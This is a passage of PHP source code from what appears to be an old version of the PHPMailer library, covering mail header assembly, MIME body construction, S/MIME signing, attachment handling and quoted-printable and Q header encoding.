  2014. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2015. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2016. include($lang_path.'phpmailer.lang-en.php');
  2017. } else {
  2018. $this->SetError('Could not load language file');
  2019. return false;
  2020. }
  2021. $this->language = $PHPMAILER_LANG;
  2022.  
  2023. return true;
  2024. }
  2025.  
  2026. /////////////////////////////////////////////////
  2027. // METHODS, MESSAGE CREATION
  2028. /////////////////////////////////////////////////
  2029.  
  2030. /**
  2031. * Creates recipient headers.
  2032. * @access private
  2033. * @return string
  2034. */
  2035. function AddrAppend($type, $addr) {
  2036. $addr_str = $type . ': ';
  2037. $addr_str .= $this->AddrFormat($addr[0]);
  2038. if(count($addr) > 1) {
  2039. for($i = 1; $i < count($addr); $i++) {
  2040. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2041. }
  2042. }
  2043. $addr_str .= $this->LE;
  2044.  
  2045. return $addr_str;
  2046. }
  2047.  
  2048. /**
  2049. * Formats an address correctly.
  2050. * @access private
  2051. * @return string
  2052. */
  2053. function AddrFormat($addr) {
  2054. if(empty($addr[1])) {
  2055. $formatted = $this->SecureHeader($addr[0]);
  2056. } else {
  2057. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2058. }
  2059.  
  2060. return $formatted;
  2061. }
  2062.  
  2063. /**
  2064. * Wraps message for use with mailers that do not
  2065. * automatically perform wrapping and for quoted-printable.
  2066. * Original written by philippe.
  2067. * @access private
  2068. * @return string
  2069. */
  2070. function WrapText($message, $length, $qp_mode = false) {
  2071. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2072. // If utf-8 encoding is used, we will need to make sure we don't
  2073. // split multibyte characters when we wrap
  2074. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2075.  
  2076. $message = $this->FixEOL($message);
  2077. if (substr($message, -1) == $this->LE) {
  2078. $message = substr($message, 0, -1);
  2079. }
  2080.  
  2081. $line = explode($this->LE, $message);
  2082. $message = '';
  2083. for ($i=0 ;$i < count($line); $i++) {
  2084. $line_part = explode(' ', $line[$i]);
  2085. $buf = '';
  2086. for ($e = 0; $e<count($line_part); $e++) {
  2087. $word = $line_part[$e];
  2088. if ($qp_mode and (strlen($word) > $length)) {
  2089. $space_left = $length - strlen($buf) - 1;
  2090. if ($e != 0) {
  2091. if ($space_left > 20) {
  2092. $len = $space_left;
  2093. if ($is_utf8) {
  2094. $len = $this->UTF8CharBoundary($word, $len);
  2095. } elseif (substr($word, $len - 1, 1) == "=") {
  2096. $len--;
  2097. } elseif (substr($word, $len - 2, 1) == "=") {
  2098. $len -= 2;
  2099. }
  2100. $part = substr($word, 0, $len);
  2101. $word = substr($word, $len);
  2102. $buf .= ' ' . $part;
  2103. $message .= $buf . sprintf("=%s", $this->LE);
  2104. } else {
  2105. $message .= $buf . $soft_break;
  2106. }
  2107. $buf = '';
  2108. }
  2109. while (strlen($word) > 0) {
  2110. $len = $length;
  2111. if ($is_utf8) {
  2112. $len = $this->UTF8CharBoundary($word, $len);
  2113. } elseif (substr($word, $len - 1, 1) == "=") {
  2114. $len--;
  2115. } elseif (substr($word, $len - 2, 1) == "=") {
  2116. $len -= 2;
  2117. }
  2118. $part = substr($word, 0, $len);
  2119. $word = substr($word, $len);
  2120.  
  2121. if (strlen($word) > 0) {
  2122. $message .= $part . sprintf("=%s", $this->LE);
  2123. } else {
  2124. $buf = $part;
  2125. }
  2126. }
  2127. } else {
  2128. $buf_o = $buf;
  2129. $buf .= ($e == 0) ? $word : (' ' . $word);
  2130.  
  2131. if (strlen($buf) > $length and $buf_o != '') {
  2132. $message .= $buf_o . $soft_break;
  2133. $buf = $word;
  2134. }
  2135. }
  2136. }
  2137. $message .= $buf . $this->LE;
  2138. }
  2139.  
  2140. return $message;
  2141. }
  2142.  
  2143. /**
  2144. * Finds last character boundary prior to maxLength in a utf-8
  2145. * quoted (printable) encoded string.
  2146. * Original written by Colin Brown.
  2147. * @access private
  2148. * @param string $encodedText utf-8 QP text
  2149. * @param int $maxLength find last character boundary prior to this length
  2150. * @return int
  2151. */
  2152. function UTF8CharBoundary($encodedText, $maxLength) {
  2153. $foundSplitPos = false;
  2154. $lookBack = 3;
  2155. while (!$foundSplitPos) {
  2156. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2157. $encodedCharPos = strpos($lastChunk, "=");
  2158. if ($encodedCharPos !== false) {
  2159. // Found start of encoded character byte within $lookBack block.
  2160. // Check the encoded byte value (the 2 chars after the '=')
  2161. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2162. $dec = hexdec($hex);
  2163. if ($dec < 128) { // Single byte character.
  2164. // If the encoded char was found at pos 0, it will fit
  2165. // otherwise reduce maxLength to start of the encoded char
  2166. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2167. $maxLength - ($lookBack - $encodedCharPos);
  2168. $foundSplitPos = true;
  2169. } elseif ($dec >= 192) { // First byte of a multi byte character
  2170. // Reduce maxLength to split at start of character
  2171. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2172. $foundSplitPos = true;
  2173. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2174. $lookBack += 3;
  2175. }
  2176. } else {
  2177. // No encoded character found
  2178. $foundSplitPos = true;
  2179. }
  2180. }
  2181. return $maxLength;
  2182. }
  2183.  
  2184. /**
  2185. * Set the body wrapping.
  2186. * @access private
  2187. * @return void
  2188. */
  2189. function SetWordWrap() {
  2190. if($this->WordWrap < 1) {
  2191. return;
  2192. }
  2193.  
  2194. switch($this->message_type) {
  2195. case 'alt':
  2196. /* fall through */
  2197. case 'alt_attachments':
  2198. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2199. break;
  2200. default:
  2201. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2202. break;
  2203. }
  2204. }
  2205.  
  2206. /**
  2207. * Assembles message header.
  2208. * @access private
  2209. * @return string
  2210. */
  2211. function CreateHeader() {
  2212. $result = '';
  2213.  
  2214. /* Set the boundaries */
  2215. $uniq_id = md5(uniqid(time()));
  2216. $this->boundary[1] = 'b1_' . $uniq_id;
  2217. $this->boundary[2] = 'b2_' . $uniq_id;
  2218.  
  2219. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2220. if($this->Sender == '') {
  2221. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2222. } else {
  2223. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2224. }
  2225.  
  2226. /* To be created automatically by mail() */
  2227. if($this->Mailer != 'mail') {
  2228. if(count($this->to) > 0) {
  2229. $result .= $this->AddrAppend('To', $this->to);
  2230. } elseif (count($this->cc) == 0) {
  2231. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2232. }
  2233. if(count($this->cc) > 0) {
  2234. $result .= $this->AddrAppend('Cc', $this->cc);
  2235. }
  2236. }
  2237.  
  2238. $from = array();
  2239. $from[0][0] = trim($this->From);
  2240. $from[0][1] = $this->FromName;
  2241. $result .= $this->AddrAppend('From', $from);
  2242.  
  2243. /* sendmail and mail() extract Cc from the header before sending */
  2244. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2245. $result .= $this->AddrAppend('Cc', $this->cc);
  2246. }
  2247.  
  2248. /* sendmail and mail() extract Bcc from the header before sending */
  2249. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2250. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2251. }
  2252.  
  2253. if(count($this->ReplyTo) > 0) {
  2254. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2255. }
  2256.  
  2257. /* mail() sets the subject itself */
  2258. if($this->Mailer != 'mail') {
  2259. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2260. }
  2261.  
  2262. if($this->MessageID != '') {
  2263. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2264. } else {
  2265. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2266. }
  2267. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2268. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2269.  
  2270. if($this->ConfirmReadingTo != '') {
  2271. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2272. }
  2273.  
  2274. // Add custom headers
  2275. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2276. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2277. }
  2278. if (!$this->sign_key_file) {
  2279. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2280. $result .= $this->GetMailMIME();
  2281. }
  2282.  
  2283. return $result;
  2284. }
  2285.  
  2286. /**
  2287. * Returns the message MIME.
  2288. * @access private
  2289. * @return string
  2290. */
  2291. function GetMailMIME() {
  2292. $result = '';
  2293. switch($this->message_type) {
  2294. case 'plain':
  2295. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2296. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2297. break;
  2298. case 'attachments':
  2299. /* fall through */
  2300. case 'alt_attachments':
  2301. if($this->InlineImageExists()){
  2302. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2303. } else {
  2304. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2305. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2306. }
  2307. break;
  2308. case 'alt':
  2309. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2310. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2311. break;
  2312. }
  2313.  
  2314. if($this->Mailer != 'mail') {
  2315. $result .= $this->LE.$this->LE;
  2316. }
  2317.  
  2318. return $result;
  2319. }
  2320.  
  2321. /**
  2322. * Assembles the message body. Returns an empty string on failure.
  2323. * @access private
  2324. * @return string
  2325. */
  2326. function CreateBody() {
  2327. $result = '';
  2328. if ($this->sign_key_file) {
  2329. $result .= $this->GetMailMIME();
  2330. }
  2331.  
  2332. $this->SetWordWrap();
  2333.  
  2334. switch($this->message_type) {
  2335. case 'alt':
  2336. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2337. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2338. $result .= $this->LE.$this->LE;
  2339. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2340. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2341. $result .= $this->LE.$this->LE;
  2342. $result .= $this->EndBoundary($this->boundary[1]);
  2343. break;
  2344. case 'plain':
  2345. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2346. break;
  2347. case 'attachments':
  2348. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2349. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2350. $result .= $this->LE;
  2351. $result .= $this->AttachAll();
  2352. break;
  2353. case 'alt_attachments':
  2354. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2355. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2356. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2357. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2358. $result .= $this->LE.$this->LE;
  2359. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2360. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2361. $result .= $this->LE.$this->LE;
  2362. $result .= $this->EndBoundary($this->boundary[2]);
  2363. $result .= $this->AttachAll();
  2364. break;
  2365. }
  2366.  
  2367. if($this->IsError()) {
  2368. $result = '';
  2369. } else if ($this->sign_key_file) {
  2370. $file = tempnam("", "mail");
  2371. $fp = fopen($file, "w");
  2372. fwrite($fp, $result);
  2373. fclose($fp);
  2374. $signed = tempnam("", "signed");
  2375.  
  2376. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2377. $fp = fopen($signed, "r");
  2378. $result = fread($fp, filesize($this->sign_key_file));
  2379. fclose($fp);
  2380. } else {
  2381. $this->SetError($this->Lang("signing").openssl_error_string());
  2382. $result = '';
  2383. }
  2384.  
  2385. unlink($file);
  2386. unlink($signed);
  2387. }
  2388.  
  2389. return $result;
  2390. }
  2391.  
  2392. /**
  2393. * Returns the start of a message boundary.
  2394. * @access private
  2395. */
  2396. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2397. $result = '';
  2398. if($charSet == '') {
  2399. $charSet = $this->CharSet;
  2400. }
  2401. if($contentType == '') {
  2402. $contentType = $this->ContentType;
  2403. }
  2404. if($encoding == '') {
  2405. $encoding = $this->Encoding;
  2406. }
  2407. $result .= $this->TextLine('--' . $boundary);
  2408. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2409. $result .= $this->LE;
  2410. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2411. $result .= $this->LE;
  2412.  
  2413. return $result;
  2414. }
  2415.  
  2416. /**
  2417. * Returns the end of a message boundary.
  2418. * @access private
  2419. */
  2420. function EndBoundary($boundary) {
  2421. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2422. }
  2423.  
  2424. /**
  2425. * Sets the message type.
  2426. * @access private
  2427. * @return void
  2428. */
  2429. function SetMessageType() {
  2430. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2431. $this->message_type = 'plain';
  2432. } else {
  2433. if(count($this->attachment) > 0) {
  2434. $this->message_type = 'attachments';
  2435. }
  2436. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2437. $this->message_type = 'alt';
  2438. }
  2439. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2440. $this->message_type = 'alt_attachments';
  2441. }
  2442. }
  2443. }
  2444.  
  2445. /* Returns a formatted header line.
  2446. * @access private
  2447. * @return string
  2448. */
  2449. function HeaderLine($name, $value) {
  2450. return $name . ': ' . $value . $this->LE;
  2451. }
  2452.  
  2453. /**
  2454. * Returns a formatted mail line.
  2455. * @access private
  2456. * @return string
  2457. */
  2458. function TextLine($value) {
  2459. return $value . $this->LE;
  2460. }
  2461.  
  2462. /////////////////////////////////////////////////
  2463. // CLASS METHODS, ATTACHMENTS
  2464. /////////////////////////////////////////////////
  2465.  
  2466. /**
  2467. * Adds an attachment from a path on the filesystem.
  2468. * Returns false if the file could not be found
  2469. * or accessed.
  2470. * @param string $path Path to the attachment.
  2471. * @param string $name Overrides the attachment name.
  2472. * @param string $encoding File encoding (see $Encoding).
  2473. * @param string $type File extension (MIME) type.
  2474. * @return bool
  2475. */
  2476. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2477. if(!@is_file($path)) {
  2478. $this->SetError($this->Lang('file_access') . $path);
  2479. return false;
  2480. }
  2481.  
  2482. $filename = basename($path);
  2483. if($name == '') {
  2484. $name = $filename;
  2485. }
  2486.  
  2487. $cur = count($this->attachment);
  2488. $this->attachment[$cur][0] = $path;
  2489. $this->attachment[$cur][1] = $filename;
  2490. $this->attachment[$cur][2] = $name;
  2491. $this->attachment[$cur][3] = $encoding;
  2492. $this->attachment[$cur][4] = $type;
  2493. $this->attachment[$cur][5] = false; // isStringAttachment
  2494. $this->attachment[$cur][6] = 'attachment';
  2495. $this->attachment[$cur][7] = 0;
  2496.  
  2497. return true;
  2498. }
  2499.  
  2500. /**
  2501. * Attaches all fs, string, and binary attachments to the message.
  2502. * Returns an empty string on failure.
  2503. * @access private
  2504. * @return string
  2505. */
  2506. function AttachAll() {
  2507. /* Return text of body */
  2508. $mime = array();
  2509.  
  2510. /* Add all attachments */
  2511. for($i = 0; $i < count($this->attachment); $i++) {
  2512. /* Check for string attachment */
  2513. $bString = $this->attachment[$i][5];
  2514. if ($bString) {
  2515. $string = $this->attachment[$i][0];
  2516. } else {
  2517. $path = $this->attachment[$i][0];
  2518. }
  2519.  
  2520. $filename = $this->attachment[$i][1];
  2521. $name = $this->attachment[$i][2];
  2522. $encoding = $this->attachment[$i][3];
  2523. $type = $this->attachment[$i][4];
  2524. $disposition = $this->attachment[$i][6];
  2525. $cid = $this->attachment[$i][7];
  2526.  
  2527. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2528. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2529. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2530.  
  2531. if($disposition == 'inline') {
  2532. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2533. }
  2534.  
  2535. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2536.  
  2537. /* Encode as string attachment */
  2538. if($bString) {
  2539. $mime[] = $this->EncodeString($string, $encoding);
  2540. if($this->IsError()) {
  2541. return '';
  2542. }
  2543. $mime[] = $this->LE.$this->LE;
  2544. } else {
  2545. $mime[] = $this->EncodeFile($path, $encoding);
  2546. if($this->IsError()) {
  2547. return '';
  2548. }
  2549. $mime[] = $this->LE.$this->LE;
  2550. }
  2551. }
  2552.  
  2553. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2554.  
  2555. return join('', $mime);
  2556. }
  2557.  
  2558. /**
  2559. * Encodes attachment in requested format. Returns an
  2560. * empty string on failure.
  2561. * @access private
  2562. * @return string
  2563. */
  2564. function EncodeFile ($path, $encoding = 'base64') {
  2565. if(!@$fd = fopen($path, 'rb')) {
  2566. $this->SetError($this->Lang('file_open') . $path);
  2567. return '';
  2568. }
  2569. $magic_quotes = get_magic_quotes_runtime();
  2570. set_magic_quotes_runtime(0);
  2571. $file_buffer = fread($fd, filesize($path));
  2572. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2573. fclose($fd);
  2574. set_magic_quotes_runtime($magic_quotes);
  2575.  
  2576. return $file_buffer;
  2577. }
  2578.  
  2579. /**
  2580. * Encodes string to requested format. Returns an
  2581. * empty string on failure.
  2582. * @access private
  2583. * @return string
  2584. */
  2585. function EncodeString ($str, $encoding = 'base64') {
  2586. $encoded = '';
  2587. switch(strtolower($encoding)) {
  2588. case 'base64':
  2589. /* chunk_split is found in PHP >= 3.0.6 */
  2590. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2591. break;
  2592. case '7bit':
  2593. case '8bit':
  2594. $encoded = $this->FixEOL($str);
  2595. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2596. $encoded .= $this->LE;
  2597. break;
  2598. case 'binary':
  2599. $encoded = $str;
  2600. break;
  2601. case 'quoted-printable':
  2602. $encoded = $this->EncodeQP($str);
  2603. break;
  2604. default:
  2605. $this->SetError($this->Lang('encoding') . $encoding);
  2606. break;
  2607. }
  2608. return $encoded;
  2609. }
  2610.  
  2611. /**
  2612. * Encode a header string to best of Q, B, quoted or none.
  2613. * @access private
  2614. * @return string
  2615. */
  2616. function EncodeHeader ($str, $position = 'text') {
  2617. $x = 0;
  2618.  
  2619. switch (strtolower($position)) {
  2620. case 'phrase':
  2621. if (!preg_match('/[\200-\377]/', $str)) {
  2622. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2623. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2624. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2625. return ($encoded);
  2626. } else {
  2627. return ("\"$encoded\"");
  2628. }
  2629. }
  2630. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2631. break;
  2632. case 'comment':
  2633. $x = preg_match_all('/[()"]/', $str, $matches);
  2634. /* Fall-through */
  2635. case 'text':
  2636. default:
  2637. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2638. break;
  2639. }
  2640.  
  2641. if ($x == 0) {
  2642. return ($str);
  2643. }
  2644.  
  2645. $maxlen = 75 - 7 - strlen($this->CharSet);
  2646. /* Try to select the encoding which should produce the shortest output */
  2647. if (strlen($str)/3 < $x) {
  2648. $encoding = 'B';
  2649. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2650. // Use a custom function which correctly encodes and wraps long
  2651. // multibyte strings without breaking lines within a character
  2652. $encoded = $this->Base64EncodeWrapMB($str);
  2653. } else {
  2654. $encoded = base64_encode($str);
  2655. $maxlen -= $maxlen % 4;
  2656. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2657. }
  2658. } else {
  2659. $encoding = 'Q';
  2660. $encoded = $this->EncodeQ($str, $position);
  2661. $encoded = $this->WrapText($encoded, $maxlen, true);
  2662. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2663. }
  2664.  
  2665. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2666. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2667.  
  2668. return $encoded;
  2669. }
  2670.  
  2671. /**
  2672. * Checks if a string contains multibyte characters.
  2673. * @access private
  2674. * @param string $str multi-byte text to wrap encode
  2675. * @return bool
  2676. */
  2677. function HasMultiBytes($str) {
  2678. if (function_exists('mb_strlen')) {
  2679. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2680. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2681. return False;
  2682. }
  2683. }
  2684.  
  2685. /**
  2686. * Correctly encodes and wraps long multibyte strings for mail headers
  2687. * without breaking lines within a character.
  2688. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2689. * @access private
  2690. * @param string $str multi-byte text to wrap encode
  2691. * @return string
  2692. */
  2693. function Base64EncodeWrapMB($str) {
  2694. $start = "=?".$this->CharSet."?B?";
  2695. $end = "?=";
  2696. $encoded = "";
  2697.  
  2698. $mb_length = mb_strlen($str, $this->CharSet);
  2699. // Each line must have length <= 75, including $start and $end
  2700. $length = 75 - strlen($start) - strlen($end);
  2701. // Average multi-byte ratio
  2702. $ratio = $mb_length / strlen($str);
  2703. // Base64 has a 4:3 ratio
  2704. $offset = $avgLength = floor($length * $ratio * .75);
  2705.  
  2706. for ($i = 0; $i < $mb_length; $i += $offset) {
  2707. $lookBack = 0;
  2708.  
  2709. do {
  2710. $offset = $avgLength - $lookBack;
  2711. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2712. $chunk = base64_encode($chunk);
  2713. $lookBack++;
  2714. }
  2715. while (strlen($chunk) > $length);
  2716.  
  2717. $encoded .= $chunk . $this->LE;
  2718. }
  2719.  
  2720. // Chomp the last linefeed
  2721. $encoded = substr($encoded, 0, -strlen($this->LE));
  2722. return $encoded;
  2723. }
  2724.  
  2725. /**
  2726. * Encode string to quoted-printable.
  2727. * @access private
  2728. * @return string
  2729. */
  2730. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2731. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2732. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2733. $eol = "\r\n";
  2734. $escape = '=';
  2735. $output = '';
  2736. while( list(, $line) = each($lines) ) {
  2737. $linlen = strlen($line);
  2738. $newline = '';
  2739. for($i = 0; $i < $linlen; $i++) {
  2740. $c = substr( $line, $i, 1 );
  2741. $dec = ord( $c );
  2742. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2743. $c = '=2E';
  2744. }
  2745. if ( $dec == 32 ) {
  2746. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2747. $c = '=20';
  2748. } else if ( $space_conv ) {
  2749. $c = '=20';
  2750. }
  2751. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2752. $h2 = floor($dec/16);
  2753. $h1 = floor($dec%16);
  2754. $c = $escape.$hex[$h2].$hex[$h1];
  2755. }
  2756. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2757. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2758. $newline = '';
  2759. // check if newline first character will be point or not
  2760. if ( $dec == 46 ) {
  2761. $c = '=2E';
  2762. }
  2763. }
  2764. $newline .= $c;
  2765. } // end of for
  2766. $output .= $newline.$eol;
  2767. } // end of while
  2768. return trim($output);
  2769. }
  2770.  
  2771. /**
  2772. * Encode string to q encoding.
  2773. * @access private
  2774. * @return string
  2775. */
  2776. function EncodeQ ($str, $position = 'text') {
  2777. /* There should not be any EOL in the string */
  2778. $encoded = preg_replace("[\r\n]", '', $str);
  2779.  
  2780. switch (strtolower($position)) {
  2781. case 'phrase':
  2782. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2783. break;
  2784. case 'comment':
  2785. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2786. case 'text':
  2787. default:
  2788. /* Replace every high ascii, control =, ? and _ characters */
  2789. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2790. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2791. break;
  2792. }
  2793.  
  2794. /* Replace every spaces to _ (more readable than =20) */
  2795. $encoded = str_replace(' ', '_', $encoded);
  2796.  
  2797. return $encoded;
  2798. }
  2799.  
  2800. /**
  2801. * Adds a string or binary attachment (non-filesystem) to the list.
  2802. * This method can be used to attach ascii or binary data,
  2803. * such as a BLOB record from a database.
  2804. * @param string $string String attachment data.
  2805. * @param string $filename Name of the attachment.
  2806. * @param string $encoding File encoding (see $Encoding).
  2807. * @param string $type File extension (MIME) type.
  2808. * @return void
  2809. */
  2810. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2811. /* Append to $attachment array */
  2812. $cur = count($this->attachment);
  2813. $this->attachment[$cur][0] = $string;
  2814. $this->attachment[$cur][1] = $filename;
  2815. $this->attachment[$cur][2] = $filename;
  2816. $this->attachment[$cur][3] = $encoding;
  2817. $this->attachment[$cur][4] = $type;
  2818. $this->attachment[$cur][5] = true; // isString
  2819. $this->attachment[$cur][6] = 'attachment';
  2820. $this->attachment[$cur][7] = 0;
  2821. }
  2822.  
  2823. /**
  2824. * Adds an embedded attachment. This can include images, sounds, and
  2825. * just about any other document. Make sure to set the $type to an
  2826. * image type. For JPEG images use "image/jpeg" and for GIF images
  2827. * use "image/gif".
  2828. * @param string $path Path to the attachment.
  2829. * @param string $cid Content ID of the attachment. Use this to identify
  2830. * the Id for accessing the image in an HTML form.
  2831. * @param string $name Overrides the attachment name.
  2832. * @param string $encoding File encoding (see $Encoding).
  2833. * @param string $type File extension (MIME) type.
  2834. * @return bool
  2835. */
  2836. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2837.  
  2838. if(!@is_file($path)) {
  2839. $this->SetError($this->Lang('file_access') . $path);
  2840. return false;
  2841. }
  2842.  
  2843. $filename = basename($path);
  2844. if($name == '') {
  2845. $name = $filename;
  2846. }
  2847.  
  2848. /* Append to $attachment array */
  2849. $cur = count($this->attachment);
  2850. $this->attachment[$cur][0] = $path;
  2851. $this->attachment[$cur][1] = $filename;
  2852. $this->attachment[$cur][2] = $name;
  2853. $this->attachment[$cur][3] = $encoding;
  2854. $this->attachment[$cur][4] = $type;
  2855. $this->attachment[$cur][5] = false;
  2856. $this->attachment[$cur][6] = 'inline';
  2857. $this->attachment[$cur][7] = $cid;
  2858.  
  2859. return true;
  2860. }
  2861.  
  2862. /**
  2863. * Returns true if an inline attachment is present.
  2864. * @access private
  2865. * @return bool
  2866. */
  2867. function InlineImageExists() {
  2868. $result = false;
  2869. for($i = 0; $i < count($this->attachment); $i++) {
  2870. if($this->attachment[$i][6] == 'inline') {
  2871. $result = true;
  2872. break;
  2873. }
  2874. }
  2875.  
  2876. return $result;
  2877. }
  2878.  
  2879. /////////////////////////////////////////////////
  2880. // CLASS METHODS, MESSAGE RESET
  2881. /////////////////////////////////////////////////
  2882.  
  2883. /**
  2884. * Clears all recipients assigned in the TO array. Returns void.
  2885. * @return void
  2886. */
  2887. function ClearAddresses() {
  2888. $this->to = array();
  2889. }
  2890.  
  2891. /**
  2892. * Clears all recipients assigned in the CC array. Returns void.
  2893. * @return void
  2894. */
  2895. function ClearCCs() {
  2896. $this->cc = array();
  2897. }
  2898.  
  2899. /**
  2900. * Clears all recipients assigned in the BCC array. Returns void.
  2901. * @return void
  2902. */
  2903. function ClearBCCs() {
  2904. $this->bcc = array();
  2905. }
  2906.  
  2907. /**
  2908. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2909. * @return void
  2910. */
  2911. function ClearReplyTos() {
  2912. $this->ReplyTo = array();
  2913. }
  2914.  
  2915. /**
  2916. * Clears all recipients assigned in the TO, CC and BCC
  2917. * array. Returns void.
  2918. * @return void
  2919. */
  2920. function ClearAllRecipients() {
  2921. $this->to = array();
  2922. $this->cc = array();
  2923. $this->bcc = array();
  2924. }
  2925.  
  2926. /**
  2927. * Clears all previously set filesystem, string, and binary
